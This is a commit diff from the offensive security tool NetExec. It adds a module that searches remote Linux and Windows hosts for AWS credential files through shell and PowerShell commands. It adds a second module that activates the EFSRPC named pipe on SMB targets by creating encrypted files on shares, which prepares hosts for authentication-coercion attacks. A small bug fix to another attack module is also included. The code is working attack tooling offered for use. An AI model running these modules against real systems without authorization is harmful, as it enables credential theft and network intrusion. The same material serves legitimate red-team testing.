Skip to content

Commit 059a20b

Browse files
authored
Merge branch 'main' into notepad
2 parents 7a39c4b + fde3de7 commit 059a20b

5 files changed

Lines changed: 429 additions & 10 deletions

File tree

nxc/modules/aws-credentials.py

Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
class NXCModule:
2+
"""
3+
Search for aws credentials files on linux and windows machines
4+
5+
Module by Fortress
6+
"""
7+
8+
name = "aws-credentials"
9+
description = "Search for aws credentials files."
10+
supported_protocols = ["ssh", "smb", "winrm"]
11+
opsec_safe = True
12+
multiple_hosts = True
13+
14+
def __init__(self):
15+
self.search_path_linux = "'/home/' '/tmp/'"
16+
self.search_path_win = "'C:\\Users\\', 'C:\\ProgramData\\AWSCLI\\', 'C:\\Temp\\'"
17+
18+
def options(self, context, module_options):
19+
r"""
20+
SEARCH_PATH_LINUX Linux location where to search for aws credentials related files
21+
Default: "'/home/' '/tmp/'"
22+
23+
SEARCH_PATH_WIN Windows locations where to search for aws credentials related files
24+
Default: "'C:\\Users\\', 'C:\\ProgramData\\AWSCLI\\', 'C:\\Temp\\'"
25+
"""
26+
if "SEARCH_PATH_LINUX" in module_options:
27+
self.search_path_linux = module_options["SEARCH_PATH_LINUX"]
28+
29+
if "SEARCH_PATH_WIN" in module_options:
30+
self.search_path_win = module_options["SEARCH_PATH_WIN"]
31+
32+
def on_login(self, context, connection):
33+
# search for aws_credentials-related files on linux systems
34+
if "ssh" in context.protocol:
35+
search_aws_creds_files_payload = f"find {self.search_path_linux} -type f -name credentials -exec grep -l 'aws_' {{}} \\; 2>&1 | grep -v 'Permission denied$'"
36+
search_aws_creds_files_cmd = f'/bin/bash -c "{search_aws_creds_files_payload}"'
37+
output = connection.execute(search_aws_creds_files_cmd)
38+
else:
39+
# search for aws_credentials-related files on windows systems
40+
# we have to exclude "Application Data" as this creates an infinite recursion, see: https://www.reddit.com/r/PowerShell/comments/17pctnv/symbolic_link_application_data_in_appdatalocal/
41+
search_aws_creds_files_payload_win = f"Get-ChildItem -Path {self.search_path_win} -Recurse -Force -Include 'credentials' -ErrorAction SilentlyContinue | Where-Object {{ Select-String -Path $_.FullName -Pattern 'aws' -Quiet }} | Select-Object -ExpandProperty FullName"
42+
search_aws_creds_files_cmd_win = f'powershell.exe "{search_aws_creds_files_payload_win}"'
43+
output = connection.execute(search_aws_creds_files_cmd_win, True)
44+
45+
if output:
46+
context.log.success("The following files were found:")
47+
for line in output.splitlines():
48+
context.log.highlight(line.rstrip())

nxc/modules/badsuccessor.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -187,7 +187,7 @@ def on_login(self, context, connection):
187187
for dc in parsed_resp:
188188
if "2025" in dc["operatingSystem"]:
189189
out = connection.resolver(dc["dNSHostName"])
190-
dc_ip = out[0] if out else "Unknown IP"
190+
dc_ip = out["host"] if out else "Unknown IP"
191191
context.log.success(f"Found domain controller with operating system Windows Server 2025: {dc_ip} ({dc['dNSHostName']})")
192192
else:
193193
context.log.fail("No domain controller with operating system Windows Server 2025 found, attack not possible. Enumerate dMSA objects anyway.")

nxc/modules/efsr_spray.py

Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
import ntpath
2+
from nxc.helpers.misc import gen_random_string
3+
from nxc.context import Context
4+
from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE, FILE_ATTRIBUTE_ENCRYPTED
5+
from impacket.smbconnection import SessionError, SMBConnection
6+
7+
8+
def get_error_string(exception):
9+
if hasattr(exception, "getErrorString"):
10+
try:
11+
es = exception.getErrorString()
12+
except KeyError:
13+
return f"Could not get nt error code {exception.getErrorCode()} from impacket: {exception}"
14+
if type(es) is tuple:
15+
return es[0]
16+
else:
17+
return es
18+
else:
19+
return str(exception)
20+
21+
22+
class NXCModule:
23+
"""EFSR Spray Module
24+
Module by @rtpt-romankarwacik
25+
"""
26+
27+
name = "efsr_spray"
28+
description = "Tries to activate the EFSR service by creating a file with the encryption attribute on some available share."
29+
supported_protocols = ["smb"]
30+
opsec_safe = True # Does the module touch disk?
31+
multiple_hosts = True # Does the module support multiple hosts?
32+
excluded_shares = ["SYSVOL"]
33+
34+
def options(self, context: Context, module_options: dict[str, str]):
35+
"""
36+
FILE_NAME Name of the file which will be tried to create and afterwards delete
37+
SHARE_NAME If set, ONLY this share will be used
38+
EXCLUDED_SHARES List of share names which will not be used, seperated by comma
39+
"""
40+
self.file_name = module_options.get("FILE_NAME", ntpath.normpath("\\" + gen_random_string() + ".txt"))
41+
self.share_name = module_options.get("SHARE_NAME")
42+
if module_options.get("EXCLUDED_SHARES"):
43+
self.excluded_shares += module_options.get("EXCLUDED_SHARES", "").split(",")
44+
45+
def on_login(self, context: Context, connection):
46+
conn: SMBConnection = connection.conn # Because typing is broken due to smb being a folder and a file >:(
47+
48+
try:
49+
shares = conn.listShares()
50+
except SessionError as e:
51+
error = get_error_string(e)
52+
context.log.fail(f"Error enumerating shares: {error}", color="magenta")
53+
return
54+
55+
# Check if named pipe is already available
56+
try:
57+
named_pipe_names = [f.get_shortname() for f in conn.listPath("IPC$", "*")]
58+
if "efsrpc" in named_pipe_names:
59+
context.log.highlight("efsrpc named pipe is already available!")
60+
# if it is already activated we just skip this computer
61+
return
62+
except SessionError as e:
63+
error = get_error_string(e)
64+
context.log.fail(f"Error enumerating named pipes: {error}", color="magenta")
65+
return
66+
67+
# Write an encrypted file on the share root.
68+
# This will likely fail with STATUS_ACCESS_DENIED if we do not have the permission to create encrypted files,
69+
# but this does not matter as the service will be activated nevertheless if we have WRITE or MODIFY access
70+
for share in shares:
71+
share_name = share["shi1_netname"][:-1]
72+
if self.share_name is not None and self.share_name != share_name:
73+
continue
74+
75+
if share_name in self.excluded_shares:
76+
continue
77+
78+
try:
79+
context.log.debug(f"Connecting to share {share_name}...")
80+
tid = conn.connectTree(share_name)
81+
except SessionError as e:
82+
context.log.debug(f"Could not connect to share {share_name}: {e}")
83+
continue
84+
try:
85+
context.log.debug(f"Creating file in {share_name}...")
86+
fid = conn.createFile(tid, self.file_name,
87+
desiredAccess=FILE_SHARE_WRITE,
88+
shareMode=FILE_SHARE_DELETE,
89+
fileAttributes=FILE_ATTRIBUTE_ENCRYPTED)
90+
conn.closeFile(tid, fid)
91+
try:
92+
# this can happen when we have special permissions to create encrypted files
93+
conn.deleteFile(share_name, self.file_name)
94+
except SessionError as e:
95+
error = get_error_string(e)
96+
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
97+
pass
98+
context.log.fail(f"Error DELETING created temp file {self.file_name} on share {share_name}: {error}")
99+
except SessionError as e:
100+
context.log.debug(f"Error writing encrypted file on share {share_name}: {get_error_string(e)} (This does not necessarily mean that the attack failed!)")
101+
102+
try:
103+
tid = conn.connectTree("IPC$")
104+
conn.waitNamedPipe(tid, "efsrpc", 10)
105+
context.log.highlight("Successfully activated efsrpc named pipe!")
106+
except SessionError as e:
107+
error = get_error_string(e)
108+
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
109+
context.log.debug("efsrpc pipe was not activated.")
110+
else:
111+
context.log.fail(f"Error waiting for named pipe: {error}", color="magenta")
112+
return

0 commit comments

Comments
 (0)